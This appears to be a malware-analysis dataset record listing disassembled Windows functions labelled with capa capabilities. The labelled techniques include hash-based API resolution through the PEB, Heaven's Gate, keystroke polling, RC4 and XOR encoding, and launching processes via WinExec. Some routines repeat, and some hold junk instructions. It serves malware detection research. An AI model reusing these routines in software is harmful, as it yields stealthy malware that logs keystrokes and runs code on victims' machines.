joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1c4d8f0a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1c4d8f20
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1c4d8f31
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1c4d8f72
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1c4db2de
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1c4db227
add ebx, 0
push ecx
call 0x1c4db23c
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x736480a0
sub ebx, dword [0x736678df]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x736678cf
call fcn.1c4d6d06
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1c4d6214
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1c4db39a
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1c4db39a
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1c4db351
mov eax, 1
lock xchg dword [0x736678db], eax
push 0x3dd1fc71
call 0x1c4db2de
push esi
add esp, 8
cmp eax, 0
jne 0x1c4db2c7
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1c4db2ed
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1c4db302
cmp ecx, edx
cmp eax, 0
je 0x1c4db327
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1c4db311
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1c4db340
dec eax
loope 0x1c4db343
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x736678db], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1c4db377
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1c4db38c
jmp 0x1c4db397
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1c4db285
Function at 0x1c4e23ff
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1c4e26d5
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x73654553
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7364b519
push 0xffffffffffffffff
call fcn.1c4d95ff
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1c4e2469
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1c4e2481
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1c4e26c9
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1c4e269d
Function at 0x1c4f1ecf
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1c4f1ef1
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1c4f1ef1
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1c4f1ef1
ret
cmp word [ebx + 4], 0x14c
jne 0x1c4f1ef1
test word [ebx + 0x16], 2
je 0x1c4f1ef1
test word [ebx + 0x16], 0x100
je 0x1c4f1ef1
cmp word [ebx + 0x18], 0x10b
jne 0x1c4f1ef1
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1c4f1ef1
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1c4f1f7d
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1c4f1f11
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1c4d8e5c
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1c4f1ef1
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1c4f1f7d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1c4f1ef1
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1c4f1ef1
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1c4f1ef1
ret
cmp word [ebx + 4], 0x14c
jne 0x1c4f1ef1
test word [ebx + 0x16], 2
je 0x1c4f1ef1
test word [ebx + 0x16], 0x100
je 0x1c4f1ef1
cmp word [ebx + 0x18], 0x10b
jne 0x1c4f1ef1
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1c4f1ef1
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1c4f1f7d
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1c4f1f11
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1c4d8e5c
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1c4f1ef1
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1c4f2034
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1c4f208d
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1c4f2034
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1c4f2043
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1c8f7ce6
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1c4f2094
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1c4d8f0a
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1c4f2133
add edi, 4
add eax, 2
dec ecx
jne 0x1c4f2079
call 0x1c4f20e0
loope 0x1c4f20d6
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1c4f2130
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1c4f2141
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1c4f20f4
cmp eax, ecx
ja 0x1c4f20f4
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1c4f217e
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1c4f2174
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1c4d93e9
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1c4f2043
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1c4f208d
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1c4f2034
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1c4f2043
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1c8f7ce6
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1c4f2094
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1c4d8f0a
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1c4f2133
add edi, 4
add eax, 2
dec ecx
jne 0x1c4f2079
call 0x1c4f20e0
loope 0x1c4f20d6
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1c4f2130
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1c4f2141
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1c4f20f4
cmp eax, ecx
ja 0x1c4f20f4
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1c4f217e
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1c4f2174
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1c4d93e9
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401763
Capabilities:
64-bit execution via heavens gate
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov ecx, 0x6a4abc5b
call fcn.004018ce
test eax, eax
je 0x4018c8
mov dword [esp + 4], eax
mov ecx, 0x3cfa685d
call fcn.004018ce
test eax, eax
je 0x4018c8
mov dword [esp + 8], eax
mov ecx, eax
mov edx, 0xc9616ee
call fcn.00401936
test eax, eax
je 0x4018c8
mov dword [esp + 0xc], eax
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0x18]
mov dword [esp + 0x10], edx
push 0x380
push 8
push edx
call eax
test eax, eax
je 0x4018c8
mov dword [esp + 0x14], eax
lea eax, [eax + 0xf]
and eax, 0xfffffff0
mov dword [esp], eax
lea ecx, [eax + 8]
mov dword [eax], ecx
lea ecx, [ecx + 0x1b4]
mov dword [eax + 4], ecx
lea eax, [eax + 8]
mov ecx, dword fs:[0x18]
mov edx, dword [ecx + 0x20]
mov dword [eax + 0x18], edx
mov edx, dword [ecx + 0x24]
mov dword [eax + 0x20], edx
mov ecx, dword [esp + 4]
mov dword [eax + 8], ecx
mov ecx, dword [esp + 8]
mov dword [eax], ecx
mov edx, dword [esp + 0xc]
mov dword [eax + 0xa8], edx
mov edx, dword [esp + 0x10]
mov dword [eax + 0x10], edx
push ebx
push ebp
call fcn.00401825
jmp 0x40182f
push ebx
lea ebx, [ebx + 0x27c]
lea ebp, [eax + 0xb0]
mov ecx, dword [eax]
mov edx, dword [ebx]
test edx, edx
je 0x401854
call fcn.00401936
mov dword [ebp], eax
lea ebx, [ebx + 4]
lea ebp, [ebp + 8]
jmp 0x40183e
pop ebx
mov edx, dword [esp + 8]
mov edx, dword [edx]
lea ecx, [ebx + 0x25c]
mov dword [edx + 0x1a4], ecx
lea ecx, [ebx + 0x168]
mov dword [edx + 0x1a8], ecx
lea ecx, [ebx + 0x1d0]
mov dword [edx + 0x1b0], ecx
pop ebp
pop ebx
mov eax, dword [edx + 0xf0]
test eax, eax
jne 0x4018a5
mov eax, dword [edx + 0xb0]
test eax, eax
je 0x4018c8
mov ecx, dword [esp]
mov edx, dword [edx + 0x10]
push ecx
push 0
push edx
call eax
xor eax, eax
jmp 0x4018c8
xor ecx, ecx
dec ecx
lea edx, [esp + 4]
push 0
push 4
push edx
push 0x1a
push ecx
call eax
test eax, eax
js 0x40188b
mov eax, dword [esp]
mov ecx, dword [esp + 4]
jecxz 0x4018c8
jmp 0x401a1e
mov esp, ebp
pop ebp
ret
mov word [ebp - 4], fs
mov ecx, 0x2b
mov fs, cx
and esp, 0xfffffff0
push 0x33
call 0x401a33
add dword [esp], 5
retf

Function at 0x4018ce
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40191b
mov al, cl
cmp al, 0x61
jb 0x4018f6
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40191b
mov al, cl
cmp al, 0x61
jb 0x40190e
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x4018e7
cmp edx, dword [esp + 0x18]
je 0x40192b
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x4018e0
xor eax, eax
jmp 0x40192e
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x401936
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x4019a3
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x4019a9
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40197a
cmp al, 0x61
jb 0x401972
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x401965
cmp edx, dword [esp + 0x14]
je 0x401987
dec ecx
jne 0x40195a
xor eax, eax
jmp 0x4019a3
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x4019be
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x4019be
sub edx, ecx
mov ecx, edx
jmp 0x401987
xor eax, eax
jmp 0x4019a3
Function at 0x406540
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x6b79bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.006ac90a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4065c2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.006aa81c
mov eax, dword [eax]
push 0x6eac38
push eax
call fcn.0069ca64
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.006acb95
test bl, bl
je 0x4065c2
push 0x6eac38
lea ecx, [esp + 0xc]
call fcn.006acf25
push 0x6eac44
lea ecx, [esp + 0xc]
call fcn.006acf25
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4065fe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.006acb95
jmp 0x4066c9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA_1]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x406682
lea edx, [esp + 0x7c]
push 0x6eac40
push edx
call fcn.0069ca64
add esp, 8
test eax, eax
je 0x406682
lea eax, [esp + 0x7c]
push 0x6eac3c
push eax
call fcn.0069ca64
add esp, 8
test eax, eax
je 0x406682
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406612
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.006acb95
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x406ec0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x406f22
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x406f30
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x6b7a3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x746e28]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x407068
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x406f96
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.006acb95
xor eax, eax
jmp 0x4070df
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.006accd2
push esi
lea ecx, [esp + 0xc]
call fcn.006acf61
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x6eac78
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA_1]
mov esi, eax
cmp esi, 0x20
ja 0x4070bd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00406ec0
test eax, eax
jne 0x4070bd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00406ec0
test eax, eax
jne 0x4070bd
lea eax, [esp + 0x14]
push 0x6eac54
push eax
call fcn.0069db00
mov esi, eax
add esp, 8
test esi, esi
jne 0x40709c
lea ecx, [esp + 0x14]
push 0x6eac50
push ecx
call fcn.0069da80
mov esi, eax
add esp, 8
test esi, esi
jne 0x40709c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40709f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.006acc82
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x406fae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.006acb95
xor eax, eax
jmp 0x4070df
mov byte [esi], 0
push 0x6eac4c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.006acb95
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x417a50
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x417abe
cmp si, 0x69
ja 0x417abe
add esi, 0xffd0
cmp si, 0x11
je 0x417a8e
push 0x11
call edi
test ax, ax
jge 0x417a8e
or esi, 0x2000
cmp si, 0x10
je 0x417aa3
push 0x10
call edi
test ax, ax
jge 0x417aa3
or esi, 0x4000
cmp si, 0x12
je 0x417ab8
push 0x12
call edi
test ax, ax
jge 0x417ab8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x417acb
mov esi, 0xbd
jmp 0x417a7f
cmp si, 0x6e
jne 0x417ad8
mov esi, 0xbe
jmp 0x417a7f
cmp si, 0x6f
jne 0x417a79
mov esi, 0xbf
jmp 0x417a7f

Function at 0x419310
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x757578]
xor edx, edx
cmp eax, edx
jne 0x419336
xor eax, eax
mov byte [eax + 0x757478], al
inc eax
cmp eax, 0x100
jl 0x41931e
mov dword [0x757578], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x757478
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4193c7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41939a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x419368
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x419440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x419493
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41947a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret